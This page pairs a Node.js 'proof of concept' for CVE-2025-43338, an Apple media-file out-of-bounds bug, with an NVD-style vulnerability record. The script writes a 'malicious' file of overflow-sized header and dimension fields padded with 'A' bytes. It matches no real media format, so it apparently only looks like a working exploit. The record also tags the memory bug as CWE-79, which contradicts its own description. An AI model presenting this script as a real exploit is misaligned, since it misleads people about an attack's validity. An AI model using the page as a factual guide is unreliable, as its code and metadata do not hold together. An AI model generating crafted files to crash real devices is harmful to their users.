CVE-2025-43338

// CVE-2025-43338 PoC - Malicious Media File Generator // This PoC generates a malformed media file that triggers out-of-bounds access const fs = require('fs'); class CVE202543338PoC { constructor() { this.header = Buffer.alloc(12); // Craft malicious header with invalid dimensions this.header.writeUInt32BE(0x00000001, 0); // Magic number this.header.writeUInt32BE(0xFFFFFFFF, 4); // Malformed size (triggers overflow) this.header.writeUInt32BE(0x00000001, 8); // Invalid flags // Malformed metadata chunk this.metadata = Buffer.alloc(256); this.metadata.write('CVE-2025-43338 PoC', 0, 20); // Craft invalid dimension values this.metadata.writeUInt32BE(0x7FFFFFFF, 20); // Invalid width this.metadata.writeUInt32BE(0x7FFFFFFF, 24); // Invalid height // Malformed data chunk with overflow trigger this.dataChunk = Buffer.alloc(1024); this.dataChunk.fill(0x41); // Fill with 'A' bytes this.dataChunk.writeUInt32BE(0xFFFFFFFF, 0); // Invalid chunk size } generatePocFile() { const pocBuffer = Buffer.concat([ this.header, this.metadata, this.dataChunk ]); fs.writeFileSync('CVE-2025-43338.malicious', pocBuffer); console.log('[+] PoC file generated: CVE-2025-43338.malicious'); console.log('[+] File size:', pocBuffer.length, 'bytes'); return pocBuffer; } } // Execute PoC generation const poc = new CVE202543338PoC(); poc.generatePocFile(); console.log('[+] Target: Apple iOS 26, iPadOS 26, macOS Sonoma/macOS Tahoe'); console.log('[+] Vulnerability: Out-of-bounds access via malformed media file');

{"cve": {"id": "CVE-2025-43338", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:40.717", "lastModified": "2026-04-02T19:20:29.747", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 26 and iPadOS 26, macOS Sonoma 14.8.2, macOS Sonoma 14.8.4, macOS Tahoe 26. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "C4221CFD-0208-42B8-AACA-1BE6AEC3BA9A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "68DCA17A-424E-4EE3-B005-0F2E42407226"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125108", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125110", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126350", "source": "[email protected]"}]}}